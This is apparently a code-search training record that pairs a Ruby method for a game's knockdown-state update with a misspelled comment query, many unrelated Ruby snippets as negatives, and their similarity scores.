"def usage\n<<EOF\nusage: TARGET_VM=centos TARGET_VM_COUNT=3 vagrant up\n\nEnvironment Variables:\nTARGET_VM - determines the OS, defaults to 'centos'\nTARGET_VM_VARIANT - determines the OS variant, supports the following (quoted):\n centos - CentOS 6.5 \"6\"\n CentOS 7.0 \"7\"\n ubuntu - Ubuntu 12.04 \"precise\"\n Ubuntu 14.04 \"trusty\"\n debian - Debian 7.8 \"wheezy\"\n Debian 8.0 \"jessie\"\n osx - OSX 10.10 \"yosemite\"\n\nTARGET_VM_COUNT - determines the number of VM's defaults to 3.\n\nDOWNLOAD_BDP_PACKAGE_CENTOS_FILE - filename containing bdp package for centos\n defaults to basho-data-platform-CENTOS.rpm\nDOWNLOAD_BDP_EXTRAS_CENTOS_FILE - filename containing bdp extras for centos\n defaults to basho-data-platform-extras-CENTOS.rpm\nDOWNLOAD_BDP_PACKAGE_UBUNTU_FILE - filename containing bdp package for ubuntu\n defaults to basho-data-platform-UBUNTU.deb\nDOWNLOAD_BDP_EXTRAS_UBUNTU_FILE - filename containing bdp extras for ubuntu\n defaults to basho-data-platform-extras-UBUNTU.deb\nEOF\nend",
"def usage\n puts \"$ #{__FILE__} SRC_PATH TARGET_PATH THREAD_COUNT\"\n puts \"$ #{__FILE__} user.url . 8\"\n exit\nend",
"def run_prepare(opts, sources, devices, rng, io)\n sources.parse(@sources)\n mods = opts.categories ? sources.parse_mods(opts.categories) : nil\n sources.apply_mods(mods) if mods\n\n devices.storage_mount\n number = opts.number || rng.generate(sources.count)\n source = sources.get(number)\n\n puts io.run_info_table(source, number)\n source\n end",
"def usage(error = '')\n msg = <<-end\nhiera_lookup: hiera lookup tool\n\nUsage:\n hiera_lookup [OPTIONS] KEY\n\nMandatory arguments:\n\n --fqdn=<FQDN> Fully Qualified Domain Name\n KEY Key to lookup in hiera\n\nOptional arguments:\n\n -v Verbose mode\n --site=<SITE> Wikimedia site (ex: eqiad)\n --roles=<ROLE>[,<ROLE>]... Puppet role(s) class(es)\n -h, --help Display this help and exit\n\nIf SITE is not provided, it will be derived from the FQDN whenever possible.\nFor Wmflabs a FQDN should be: <hostname>.<project>.<site>.wmflabs\n\nExamples:\n hiera_lookup --fqdn=mw1020.eqiad.wmnet --roles=mediawiki::appserver admin::groups\n hiera_lookup --fqdn=host.tools.eqiad.wmflabs classes\n\n\nend\n msg << error\nend",
"def setup\n\n end",
"def setup\n\n end",
"def printUsage\n print \"usage -- Moldyne.rb <numTimesteps> <structureFile> <outFile>\\n\"\n print \" <numTimesteps> - total number of timesteps to run\\n\"\n print \" <structureFile> - the PDB file to read in\\n\"\n print \" <outFilePrefix> - prefix for two output files (.out, .xyz)\\n\"\n end",
"def usage\n puts \"Usage: #{__FILE__} <partner> <regenerate_store>\"\n puts \"\\nParter can be first_republic, lpl, retail, or us_bank\"\n puts 'Regenerate the store (1) or not (0)'\n exit(-1)\nend",
"def usage()\n STDOUT.puts \"USAGE: ruby find-missing-developers-in-git-commits.rb LOGS_FILE\"\nend",
"def usage\n hint = \"\\nUsage: \" + $0 + \" parameters#{@has_argf ? ' file ...' : ''}\\n\\n\"\n @parms.sort.each do |parm|\n hint += sprintf(\"\\t%s|%s %s \\n\\t\\t%s\\n\\n\", parm.long_form, parm.short_form, parm.arg_desc, parm.parm_desc)\n end\n return hint\n end",
"def help; end",
"def help; end",
"def help; end",
"def tool=(name)\n @tool = name.to_sym\n end",
"def main\n\n\n operations.running.retrieve interactive: false\n save_user operations\n debug_setup(operations) if debug\n \n if KIT_NAME == \"uw kit\"\n if debug\n labels = \"ABCDEF\".split('')\n operations.each.with_index do |op, i|\n op.input(INPUT).item.associate(SAMPLE_KEY, labels[i]) \n op.input(INPUT).item.associate(COMPONENT_KEY, \"\") \n end\n end\n end\n \n save_temporary_input_values(operations, INPUT)\n operations.each do |op|\n op.temporary[:pack_hash] = PACK_HASH\n end\n save_temporary_output_values(operations)\n \n # reassign labels to sample numbers if uw kit\n if KIT_NAME == \"uw kit\"\n operations.each do |op|\n op.temporary[:output_sample] = {\"A\"=>1, \"B\"=>2}[op.temporary[:output_sample]]\n end \n end\n \n run_checks operations\n if KIT_NAME == \"uw kit\"\n uw_kit_introduction operations.running\n else\n kenya_kit_introduction operations.running\n end\n area_preparation \"pre-PCR\", MATERIALS, POST_PCR\n get_pcr_packages operations.running\n open_pcr_packages operations.running\n debug_table operations.running\n check_for_tube_defects sorted_ops.running\n # nuttada thaw\n # nuttada needs vortex + centrigure\n centrifuge_samples sorted_ops.running\n resuspend_pcr_mix sorted_ops.running\n add_template_to_master_mix sorted_ops.running\n cleanup sorted_ops\n start_thermocycler sorted_ops.running\n conclusion sorted_ops\n return {}\n end",
"def usage\n puts <<USAGE\n== Synopsis\n\nopm list-available-cartridges: Prints a list of all available cartridges and provided features\n\n== Usage\n\nopm list-available-cartridges\n\nOptions:\n-h|--help:\n Prints this message\nUSAGE\nend",
"def initialize(argv = [])\n @debug = $DEBUG\n @verbose = $VERBOSE\n @version_requested = false\n\n opt = OptionParser.new\n opt.banner = 'Usage: peeek [switches] [--] [programfile] [arguments]'\n opt.summary_indent = ' ' * 2\n opt.summary_width = 15\n\n @working_directory = nil\n\n opt.on('-Cdirectory', 'cd to directory before executing your script') do |directory|\n @working_directory = directory\n end\n\n opt.on('-d', '--debug', 'set debugging flags (set $DEBUG to true)') do\n @debug = true\n @verbose = verbose_by(VERBOSE)\n end\n\n commands = []\n\n opt.on(\"-e 'command'\", \"one line of script. Several -e's allowed. Omit [programfile]\") do |command|\n commands << command\n end\n\n if self.class.encoding_options_enabled?\n @external_encoding = Encoding.default_external\n @internal_encoding = Encoding.default_internal\n\n opt.on('-Eex[:in]', '--encoding=ex[:in]', 'specify the default external and internal character encodings') do |encodings|\n external_encoding, internal_encoding = parse_encodings(encodings)\n @external_encoding = external_encoding if external_encoding\n @internal_encoding = internal_encoding\n end\n end\n\n @hook_targets = []\n\n opt.on('-Hstring', 'object and method name that is target of hook') do |string|\n hook_spec = Hook::Specifier.parse(string)\n @hook_targets << hook_spec unless @hook_targets.include?(hook_spec)\n end\n\n @directories_to_load = []\n\n opt.on('-Idirectory', 'specify $LOAD_PATH directory (may be used more than once)') do |directory|\n @directories_to_load << directory unless @directories_to_load.include?(directory)\n end\n\n @required_libraries = []\n\n opt.on('-rlibrary', 'require the library before executing your script') do |library|\n @required_libraries << library unless @required_libraries.include?(library)\n end\n\n opt.on('-v', 'print version number, then turn on verbose mode') do\n @version_requested = true\n @verbose = verbose_by(VERBOSE)\n end\n\n opt.on('-w', '--verbose', 'turn warnings on for your script') do\n @verbose = verbose_by(VERBOSE)\n end\n\n level_strings = [:SILENCE, :MEDIUM, :VERBOSE].map do |const_name|\n \"#{self.class.const_get(const_name)}=#{const_name.to_s.downcase}\"\n end\n\n opt.on(\"-W[level=#{VERBOSE}]\", \"set warning level; #{level_strings * ', '}\", Integer) do |level|\n @verbose = verbose_by(level || VERBOSE)\n end\n\n @continued = true\n\n opt.on('--version', 'print the version') do\n @version_requested = true\n @continued = false\n end\n\n opt.on_tail('-h', '--help', 'show this message') do\n raise Help, opt.help\n end\n\n @arguments = opt.order(argv)\n @command = commands * '; '\n end",
"def prepare_command\n info(\"Preparing the SUT and Pester dependencies...\")\n resolve_downloads_paths!\n really_wrap_shell_code(install_command_script)\n end",
"def setup\n\t\tend",
"def setup\n\t\tend",
"def setup\n end",
"def setup\n end",
"def setup\n end",
"def setup\n end"
] |
[
"0.72261894",
"0.72261894",
"0.69315183",
"0.6552333",
"0.64111054",
"0.6339504",
"0.631724",
"0.6307036",
"0.62923574",
"0.62124646",
"0.6148943",
"0.6136199",
"0.61300725",
"0.6074172",
"0.6071554",
"0.6062508",
"0.6061421",
"0.6055343",
"0.6014008",
"0.600889",
"0.5987295",
"0.59849954",
"0.5980475",
"0.5978488",
"0.5975535",
"0.5965413",
"0.59603655",
"0.59599566",
"0.5957945",
"0.59411484",
"0.59394574",
"0.59292483",
"0.59215456",
"0.59115404",
"0.5889479",
"0.5889479",
"0.58852565",
"0.5875669",
"0.5869677",
"0.58685654",
"0.5867257",
"0.58596647",
"0.585291",
"0.5846862",
"0.58443034",
"0.58409524",
"0.5837509",
"0.5834944",
"0.5829769",
"0.5813522",
"0.5813522",
"0.5813522",
"0.5813522",
"0.5813522",
"0.5813522",
"0.5813522",
"0.5813522",
"0.5813522",
"0.5813522",
"0.5813522",
"0.5813522",
"0.5813395",
"0.5811251",
"0.5800852",
"0.5797716",
"0.5795711",
"0.579385",
"0.5787861",
"0.578715",
"0.5786122",
"0.578307",
"0.5781059",
"0.5781059",
"0.5781059",
"0.5781059",
"0.5781059",
"0.57707155",
"0.5770519",
"0.57577807",
"0.5752415",
"0.57497174",
"0.57497174",
"0.57467526",
"0.5730889",
"0.5728862",
"0.57261693",
"0.57255256",
"0.57255256",
"0.57255256",
"0.57191473",
"0.57144886",
"0.5705663",
"0.57049364",
"0.56975514",
"0.5690145",
"0.5690145",
"0.56766576",
"0.56766576",
"0.56766576",
"0.56766576"
] |
0.6295407
|
8
|
use the predifined tool
|
def use_predefined_tool
update_follower_movement
return if @targeted_character.nil?
if obj_size?(@targeted_character, @range_view) && @follower_attacktimer == 0
turn_toward_character(@targeted_character)
use_weapon(fo_tool.id) if actor.primary_use == 1
use_armor(fo_tool.id) if actor.primary_use == 2
use_item(fo_tool.id) if actor.primary_use == 3 || actor.primary_use == 4 ||
actor.primary_use == 5 || actor.primary_use == 6
use_skill(fo_tool.id) if actor.primary_use==7 || actor.primary_use==8 ||
actor.primary_use == 9 || actor.primary_use == 10
if fo_tool.tool_data("User Graphic = ", false).nil?
@targeted_character = nil
turn_toward_player
end
@follower_attacktimer = 60
end
delete_targetf if self.actor.dead?
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def preproc; end",
"def pre_process\n end",
"def precheck\n end",
"def run\n Precheck.config.load_configuration_file(Precheck.precheckfile_name)\n\n FastlaneCore::PrintTable.print_values(config: Precheck.config,\n hide_keys: [:output_path],\n title: \"Summary for precheck #{Fastlane::VERSION}\")\n\n unless Spaceship::Tunes.client\n UI.message(\"Starting login with user '#{Precheck.config[:username]}'\")\n Spaceship::Tunes.login(Precheck.config[:username])\n Spaceship::Tunes.select_team\n\n UI.message(\"Successfully logged in\")\n end\n\n UI.message(\"Checking app for precheck rule violations\")\n\n ensure_app_exists!\n\n processor_result = check_for_rule_violations(app: app, app_version: latest_app_version)\n\n if processor_result.items_not_checked?\n print_items_not_checked(processor_result: processor_result)\n end\n\n if processor_result.has_errors_or_warnings?\n summary_table = build_potential_problems_table(processor_result: processor_result)\n puts(summary_table)\n end\n\n if processor_result.should_trigger_user_error?\n UI.user_error!(\"precheck 👮♀️ 👮 found one or more potential problems that must be addressed before submitting to review\")\n return false\n end\n\n if processor_result.has_errors_or_warnings?\n UI.important(\"precheck 👮♀️ 👮 found one or more potential metadata problems, but this won't prevent fastlane from completing 👍\".yellow)\n end\n\n if !processor_result.has_errors_or_warnings? && !processor_result.items_not_checked?\n UI.message(\"precheck 👮♀️ 👮 finished without detecting any potential problems 🛫\".green)\n end\n\n return true\n end",
"def usage\n puts \"$ ruby #{__FILE__} PATH_TO_TRAINING_DATA_DIR\"\n exit\nend",
"def preprocess\n true\n end",
"def pre\n if phase.has_key?('pre')\n execute(\"pre\", phase['pre'])\n end\n end",
"def pre_process(expectations, source)\n\t\tsource\n\tend",
"def first_preprocessing(save=false)\n @@PREPROCESSING_TASKS.find do |t|\n not ignore_task?(t) and not add_result(t, save).nil?\n end\n end",
"def run_preseed\n if response = @resource[:responsefile] and FileTest.exist?(response)\n self.info(\"Preseeding #{response} to debconf-set-selections\")\n\n preseed response\n else\n self.info \"No responsefile specified or non existant, not preseeding anything\"\n end\n end",
"def pre_execute_checks\n validate_terraform_installed\n ensure_output_directory\n Dir.chdir(@opts.get(:input_dir)) do\n puts '=> Fetching modules...'\n tf_get\n end\n end",
"def pre_task\n end",
"def auto_analyze; end",
"def _pre_process\n @pre_processor = @league.pre_processor.new(@data_feed_file).start\n\n if @pre_processor.errored?\n _output_errors(@pre_processor, 'preprocessing')\n else\n _output_success(@pre_processor, 'preprocessing')\n end\n end",
"def preproc=(_arg0); end",
"def prep\n\tend",
"def pre_execute_checks(plan = @opts.get(:plan))\n validate_terraform_installed\n ensure_plan_exists plan\n tf_show(plan)\n say 'The above changes will be applied to your environment.'\n exit unless agree 'Are you sure you want to execute this plan? (y/n)'\n end",
"def validator?; system('which question-validator > /dev/null 2>&1'); end",
"def pretend?; run_options[:pretend]; end",
"def probers; end",
"def tell_fortune()\r\n print \"The answer is \" + $prediction + \". \\n\\n: \"\r\n end",
"def main\n\n if ARGV[0].nil?\n STDOUT.write(\"\\nERROR! Missing input file!\\nUsage: create_HHpred_job.rb A3M-FILE\\n\")\n return\n end\n \n infilename = ARGV[0]\n # chec\n if !File.exist?(File.join(infilename))\n STDOUT.write(\"\\nERROR! No inputfile #{infilename}!\\n\") \n return\n end\n\n create_toolkit_job( infilename )\n\nend",
"def before_perform\n @outdir = job.job_dir.to_s\n @basename = File.join(job.job_dir, job.jobid)\n @infile = @basename+\".in\" \n # still has to be generated\n @outfile = @basename+\".frags\"\n params_to_file(@infile, 'sequence_input', 'sequence_file')\n @informat = params['informat'] ? params['informat'] : 'fas'\n @predict_ta = params['ta']\n reformat(@informat, \"fas\", @infile)\n @commands = []\n \n \n end",
"def apply plataform\n\n end",
"def modeler_description\n return \"Reads the model and sql file to pull out the necessary information and run the model checks. The check results show up as warning messages in the measure's output on the PAT run tab.\"\n end",
"def tell_fortune()\r\n\t\tprint \"The answer is \" + $predicition + \". \\n\\n: \"\r\n\tend",
"def train\n run_aggregation\n run_syntetics\n run_values_to_ranges\n run_reverse\n\n [name, classifier]\n end",
"def preprocess(input); end",
"def set_predio\n @predio = Predio.find(params[:id])\n end",
"def pred?(p)\n @pred.include?(p)\n end",
"def cmd_poortego_run_help(*args)\n print_line \"Usage: run <transform>\"\n print_line\n end",
"def modeler_description\n return \"Reads the model and sql file to pull out the necessary information and run the model checks. The check results show up as Warning messages in the measure's output on the PAT run tab.\"\n end",
"def main\n dict={}\n c=0; p=0\n gtf=gtfread(GTFPATH)\n Dir.glob(DIRECTORY+\"/**/*.pre\").each do |path|\n dict[path.split('/')[-1].split('.')[0]]=process(path, gtf)\n end\n genes,c,p=significant(gtf)\n dc=(C/c).floor\n dp=(P/p).floor\n Dir.glob(DIRECTORY+\"/**/*.pre\").each do |path|\n printer(path.split('.')[0]+\".fc\",dict[path.split('/')[-1].split('.')[0]],gtf,dc,dp,genes,\"foldchange\")\n printer(path.split('.')[0]+\".pval\",dict[path.split('/')[-1].split('.')[0]],gtf,dc,dp,genes,\"pval\")\n end\n bashcommands\nend",
"def show\n #Suficiente con el set_training en el before_action\n end",
"def run_and_transform; end",
"def execute!\n @prep.setSource(@data)\n return @prep.execute.actionGet()\n end",
"def spe_training\n\tend",
"def pre #:doc:\n end",
"def _eval_pre\n _eval_action('pre')\n end",
"def setup_followertool_usage\n @range_view = 2\n @range_view = 6 if fo_tool.tool_data(\"Tool Target = \", false) == \"true\" ||\n fo_tool.tool_data(\"Tool Special = \", false) == \"autotarget\"\n \n if fo_tool.is_a?(RPG::Skill) || fo_tool.is_a?(RPG::Item)\n if fo_tool.scope.between?(1, 6)\n setup_target \n else ; @targeted_character = $game_player\n @range_view = 6\n end\n # prepare tool for invoke follower\n elsif fo_tool.is_a?(RPG::Weapon) || fo_tool.is_a?(RPG::Armor)\n invoke = fo_tool.tool_data(\"Tool Invoke Skill = \")\n if invoke > 0\n if $data_skills[invoke].scope.between?(1, 6)\n setup_target\n else ; @targeted_character = $game_player\n @range_view = 6\n end\n else\n # no invoke skill just set up an enemy target\n setup_target\n end\n end\n end",
"def first_preprocessing(save = false)\n @first_processing ||= @@PREPROCESSING_TASKS.find do |t|\n !add_result(t, save).nil?\n end\n end",
"def first_preprocessing(save = false)\n @first_processing ||= @@PREPROCESSING_TASKS.find do |t|\n !add_result(t, save).nil?\n end\n end",
"def wagner; end",
"def start!\n fail(Api::V3::DecisionReviews::StartError, intake) unless intake.start!\n end",
"def run_examination\n true\n end",
"def target; true; end",
"def setup!\n @preparator.try(:call)\n end",
"def run(file)\n # OPTIMIZE Detailed output for --pre commands with popen4?\n @pre.each { |cmd|\n ret = system(cmd)\n unless ret\n STDERR.puts \"Error: This preprocessing command signalled failure (#{$?}), please check --> #{cmd}\"\n return\n end\n }\n dbs = DocbookStatus::Status.new(file)\n doc_info = dbs.analyze_file\n doc_info[:remarks] = dbs.find_remarks(@remarks_filter) if @remarks\n if history_on?()\n dbs_h = DocbookStatus::History.new(file)\n dbs_h.planned_end(@end_date) if @end_date != NOVAL\n dbs_h.total_words(@total_words) if @total_words != NOVAL\n dbs_h.daily_words(@daily_words) if @daily_words != NOVAL\n dbs_h.add(DateTime.now, doc_info[:sections][0][:words])\n dbs_h.save\n doc_info[:goals] = dbs_h.goals\n doc_info[:today] = dbs_h.today\n end\n case\n when @output_format == :yaml\n YAML.dump(doc_info, STDOUT)\n when @output_format == :json\n STDOUT.puts doc_info.to_json\n else\n output_terminal(doc_info)\n end\nend",
"def train\n raise NotImplementedError\n end",
"def work_tool(tool)### set and get\r\n @tool = tool\r\n puts \"#{@name} works using a #{@tool} #{return_phtest_writer}\"\r\n end",
"def prepare_preferred_algorithms!; end",
"def tell_fortunte()\n\t\tprint \"The answer is \" + $prediction + \". \\n\\n: \"\n\tend",
"def run\n @output.print %(# -*- encoding: utf-8 -*-\n # This file generated automatically using vocab-fetch from #{source}\n require 'rdf'\n module #{module_name}\n class #{class_name} < RDF::#{\"Strict\" if @strict}Vocabulary(\"#{uri}\")\n ).gsub(/^ /, '') if @output_class_file\n\n if fetch\n\n # Extract statements with subjects that have the vocabulary prefix and organize into a hash of properties and values\n vocab = ::RDF::Vocabulary.load(uri, location: source, extra: @extra)\n\n # Split nodes into Class/Property/Datatype/Other\n term_nodes = {\n class: {},\n property: {},\n datatype: {},\n other: {}\n }\n\n # FIXME: This can try to resolve referenced terms against the previous version of this vocabulary, which may be strict, and fail if the referenced term hasn't been created yet.\n vocab.each.to_a.sort.each do |term|\n name = term.to_s[uri.length..-1].to_sym\n kind = case term.type.to_s\n when /Class/ then :class\n when /Property/ then :property\n when /Datatype/ then :datatype\n else :other\n end\n term_nodes[kind][name] = term.attributes\n end\n\n {\n class: \"Class definitions\",\n property: \"Property definitions\",\n datatype: \"Datatype definitions\",\n other: \"Extra definitions\"\n }.each do |tt, comment|\n next if term_nodes[tt].empty?\n @output.puts \"\\n # #{comment}\"\n term_nodes[tt].each {|name, attributes| from_node name, attributes, tt}\n end\n end\n\n # Query the vocabulary to extract property and class definitions\n @output.puts \" end\\nend\" if @output_class_file\n end",
"def exec; end",
"def exec; end",
"def preprocessFile _args\n \"preprocessFile _args;\" \n end",
"def getprequal\r\n street = MiscFunctions.addressStringClean(params[:street])\r\n citystatezip = MiscFunctions.addressStringClean(params[:citystatezip])\r\n geo_data = GeoFunctions.getGoogleGeoByAddress(street, citystatezip)\r\n\r\n # PDQ params\r\n pdq_params = {:path => \"Mls\"}\r\n runID = \"#{pdq_params[:path]}: #{Date.today.to_s}\"\r\n\r\n # Run PDQ (if needed)\r\n a = PdqEngine.computeDecision(geo_data, params, runID)\r\n\r\n output = Output.find_by(place_id: geo_data[:placeId])\r\n\r\n if output.reason.to_s.include? \"Approved\"\r\n decision = \"Approved\"\r\n else\r\n decision = output.reason.to_s.gsub(\"[\",\"\").gsub(\"]\",\"\").gsub(\"\\\"\",\"\").gsub(\"\\\"\",\"\").gsub(\"nil\",\"\").gsub(\",\",\"\").strip()\r\n end\r\n\r\n render :json => decision.to_json\r\n end",
"def getKnowledge\n\t\t\n\tend",
"def preinst\n @package.get_script :preinst\n end",
"def linetool\n Sketchup.active_model.select_tool LineTool.new\nend",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def pred_s\n a_s(@pred)\n end",
"def poem; end",
"def setup_eval_script\n begin\n eval(@acts[1])\n rescue StandardError => err\n PONY::ERRNO.sequence_error(:eval, err)\n end\n end",
"def auto_analyze=(_arg0); end",
"def keppler\n end",
"def train\n run_thresholds\n run_values_to_ranges\n run_reverse\n\n @classifiers\n end",
"def pre_generation_hook(task)\n end",
"def tidy_exe\n @tidy_exe\n end",
"def run(options)\n if @command\n finalize_command_with_depfile\n else\n if @sources.find {|s| s.end_with?(*@env.expand_varref(\"${CXXSUFFIX}\", @vars))}\n pp_cc = \"${CXX}\"\n depgen = \"${CXXDEPGEN}\"\n else\n pp_cc = \"${CC}\"\n depgen = \"${CCDEPGEN}\"\n end\n @vars[\"_PREPROCESS_CC\"] = pp_cc\n @vars[\"_PREPROCESS_DEPGEN\"] = depgen\n @vars[\"_TARGET\"] = @target\n @vars[\"_SOURCES\"] = @sources\n @vars[\"_DEPFILE\"] = \"#{target}#{env.expand_varref(\"${DEPFILESUFFIX}\", vars)}\"\n command = @env.build_command(\"${CPP_CMD}\", @vars)\n self.produces(@vars[\"_DEPFILE\"])\n standard_command(\"Preprocessing <source>#{Util.short_format_paths(@sources)}<reset> => <target>#{@target}<reset>\", command)\n end\n end",
"def precmd(line)\n line\n end",
"def expert(data)\nend",
"def original_run_command; end",
"def suggest_prereqs; suggest_with_score(prereqs).last; end",
"def load_abs_tool(item)\n return if @knockdown_data[0] > 0\n PearlKernel.load_item(item)\n \n return if self.is_a?(Game_Follower) and @targeted_character.nil?\n \n if !@targeting[0] and self.battler.is_a?(Game_Actor)\n if item.is_a?(RPG::Skill) || item.is_a?(RPG::Item)\n # apply target to skills items \n if PearlKernel.tool_target == \"true\" || item.scope == 7 ||\n item.scope == 9\n load_target_selection(item)\n return\n end\n else\n # apply target parsing the invoked skill to weapons and armors\n invoke = PearlKernel.tool_invoke\n if invoke != nil && invoke > 0 && invoke != 1 && invoke != 2\n invokeskill = $data_skills[invoke]\n if PearlKernel.tool_target == \"true\" || invokeskill.scope == 7 ||\n invokeskill.scope == 9\n load_target_selection(item)\n return\n end\n # apply target to normal weapon and armor without invoking\n else\n if PearlKernel.tool_target == \"true\"\n load_target_selection(item)\n return\n end\n end\n end\n end\n if item.is_a?(RPG::Skill) || item.is_a?(RPG::Item)\n battler.use_item(item) \n else\n if PearlKernel.tool_invoke != 0\n battler.use_item($data_skills[PearlKernel.tool_invoke])\n end\n end\n \n # if the tool has data continue\n if PearlKernel.has_data?\n consume_ammo_item(item) if battler.is_a?(Game_Actor) and\n PearlKernel.tool_itemcost != 0\n @anime_speed = PearlKernel.user_animespeed\n battler.apply_cooldown(item, PearlKernel.tool_cooldown)\n end\n create_projectile_object(item)\n create_anime_sprite_object(item)\n end",
"def main; end",
"def program() @program end",
"def synpred2_Jejune\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 88 )\n\n # at line 284:7: 'function'\n match( FUNCTION, TOKENS_FOLLOWING_FUNCTION_IN_synpred2_Jejune_1922 )\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 88 )\n\n end",
"def main\n\n\n operations.running.retrieve interactive: false\n save_user operations\n debug_setup(operations) if debug\n \n if KIT_NAME == \"uw kit\"\n if debug\n labels = \"ABCDEF\".split('')\n operations.each.with_index do |op, i|\n op.input(INPUT).item.associate(SAMPLE_KEY, labels[i]) \n op.input(INPUT).item.associate(COMPONENT_KEY, \"\") \n end\n end\n end\n \n save_temporary_input_values(operations, INPUT)\n operations.each do |op|\n op.temporary[:pack_hash] = PACK_HASH\n end\n save_temporary_output_values(operations)\n \n # reassign labels to sample numbers if uw kit\n if KIT_NAME == \"uw kit\"\n operations.each do |op|\n op.temporary[:output_sample] = {\"A\"=>1, \"B\"=>2}[op.temporary[:output_sample]]\n end \n end\n \n run_checks operations\n if KIT_NAME == \"uw kit\"\n uw_kit_introduction operations.running\n else\n kenya_kit_introduction operations.running\n end\n area_preparation \"pre-PCR\", MATERIALS, POST_PCR\n get_pcr_packages operations.running\n open_pcr_packages operations.running\n debug_table operations.running\n check_for_tube_defects sorted_ops.running\n # nuttada thaw\n # nuttada needs vortex + centrigure\n centrifuge_samples sorted_ops.running\n resuspend_pcr_mix sorted_ops.running\n add_template_to_master_mix sorted_ops.running\n cleanup sorted_ops\n start_thermocycler sorted_ops.running\n conclusion sorted_ops\n return {}\n end",
"def standalone; end",
"def setup\r\n end",
"def before_processing\n end",
"def gunner _args\n \"gunner _args;\" \n end",
"def test_self_execute\n assert_nothing_raised { Spoonerize::Cli.execute(fixtures['default_words']) }\n end",
"def prepare\n #this is the fate thing, its included with the Rules module\n @toggle = fate\n @prepared = true\n end",
"def run(argv)\n if argv.size == 1 && !argv.first.empty? && SUPPORTED_DISCREPANCY_DETECTOR.keys.include?(argv.first)\n discrepancies = SUPPORTED_DISCREPANCY_DETECTOR[argv.first].call\n print_discrepancy_result(discrepancies)\n else\n abort 'We do not support this action, please enter a valid action.'\n end\n end",
"def dress(commands, pre_or_post, stage)\n chdir = \"cd #{build_dir} && \"\n chdir = \"\" if [:prepare, :download].include?(stage)\n chdir = \"\" if stage == :extract and pre_or_post == :pre\n flatten(commands).collect { |command| \"bash -c '#{chdir}#{command} >> #{@package.name}-#{stage}.log 2>&1'\" }\n end",
"def eles_with_pred(opts)\n find_elements(:uiautomation, _all_pred(opts))\n end",
"def process\n if @fromsource\n puts \"From Source is specified, processing from source for #{name}\" if HeyDan.help?\n process_from_source \n end\n\n begin\n if HeyDan::Helper.dataset_exists?(dataset_file_name)\n puts \"Dataset for #{name} exists\" if HeyDan.help?\n else\n download \n end\n rescue \n puts \"Had trouble downloading #{name}, processing from source instead\" if HeyDan.help?\n process_from_source \n end \n update_jurisdiction_files\n end",
"def runMachineClassifier(trainerName,dataDir=\"project1/src/resources/data\")\n puts \"=============================\"\n puts \"Running Bayes Classifier\"\n puts \" -trainer(#{trainerName})\"\n puts \"=============================\"\n puts \"Training....\"\n classifier = getTrainedClassifier trainerName\n if ( classifier )\n # Classify all other user posts.\n puts \"Begin Classifying...\"\n #@tags.each do |tag| \n Dir[dataDir+\"/*\"].each do |path|\n if File.file?(path)\n begin\n contents = YAML::load_file(path)\n contents.each do |content|\n begin \n classification = classifier.classify content.text \n isMatch = content.tag.downcase.match(classification.downcase) \n puts \" #{isMatch} - [user=#{content.user};url=#{content.url};tag=#{content.tag};classify=#{classification}]\"\n rescue => e\n puts \"[Warning]: Error during classify of Content[user=#{content.user};url=#{content.url};tag=#{content.tag}]\"\n end\n end\n rescue => e\n puts \"[Warning]: Failed to load contents of file '#{path}'.\"\n end\n end\n end \n #end \n else\n raise \"[Error]: Missing Trainer data files. Invalid user '#{trainerName}' specified.\"\n end\n puts \"Done.\" \n end",
"def determinize\n Determinize.execute(self)\n end",
"def load_pre_requisites\n if @yaml.nil?\n @log.info \"No configuration file specified --> returning.\"\n else\n build_catalog(\"staff\", @yaml[\"STAFF_CATALOG\"])\n build_catalog(\"student\", @yaml[\"STUDENT_CATALOG\"])\n @pre_requisites\n end\n end",
"def explore\n end"
] |
[
"0.60483307",
"0.58145833",
"0.5748056",
"0.561266",
"0.545542",
"0.54459786",
"0.52700865",
"0.5259711",
"0.52223444",
"0.514519",
"0.5120802",
"0.50494546",
"0.50381017",
"0.5030715",
"0.5011104",
"0.49953666",
"0.49747074",
"0.49723038",
"0.49680787",
"0.49250948",
"0.49102804",
"0.49066192",
"0.48963106",
"0.48940942",
"0.48814762",
"0.48787385",
"0.48746067",
"0.48706517",
"0.4866633",
"0.48578277",
"0.48553535",
"0.4855259",
"0.48550603",
"0.48492017",
"0.48459557",
"0.48420164",
"0.4834074",
"0.4823276",
"0.4820224",
"0.48183092",
"0.48062438",
"0.48062438",
"0.47979778",
"0.47819397",
"0.4778204",
"0.47676113",
"0.47598708",
"0.47588816",
"0.4755208",
"0.47492692",
"0.47417265",
"0.47357163",
"0.4728001",
"0.47196338",
"0.47196338",
"0.47170773",
"0.471664",
"0.47147164",
"0.471236",
"0.47080374",
"0.47069559",
"0.47069559",
"0.47069559",
"0.47069559",
"0.47069559",
"0.47069559",
"0.47069559",
"0.47069559",
"0.47069559",
"0.47024852",
"0.46972197",
"0.46871907",
"0.46803704",
"0.4673806",
"0.46690628",
"0.46650243",
"0.4663525",
"0.4662207",
"0.46620515",
"0.46566015",
"0.4655266",
"0.46545497",
"0.46492168",
"0.46477103",
"0.46460107",
"0.46392658",
"0.4639089",
"0.4638855",
"0.46374723",
"0.46372682",
"0.46366963",
"0.4635823",
"0.46353614",
"0.46342424",
"0.46299353",
"0.46282288",
"0.4627775",
"0.46256113",
"0.46243107",
"0.46242595",
"0.4624229"
] |
0.0
|
-1
|
konck down engine update
|
def update_knockdown
if @knockdown_data[0] > 0
@knockdown_data[0] -= 1
@knockdown_data[0] == 0 ? knowdown_effect(2) : knowdown_effect(1)
if @knockdown_data[1] != nil
@pattern = @knockdown_data[2]
@direction = @knockdown_data[3]
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def down; end",
"def down \r\n end",
"def down\n\n end",
"def down\n end",
"def down\n end",
"def down\n end",
"def down\n end",
"def down\n end",
"def down\n end",
"def turn_off_engine\n fail 'No Driver Error' if driver.nil?\n\n @engine_on = false\n end",
"def forceupdate()\n rc = offline\n return rc if OpenNebula.is_error?(rc)\n\n enable\n end",
"def shut_down\n end",
"def down\n send_message('APP_DOWN')\n end",
"def shutdown; end",
"def shutdown; end",
"def shutdown; end",
"def shutdown; end",
"def shutdown; end",
"def shutdown; end",
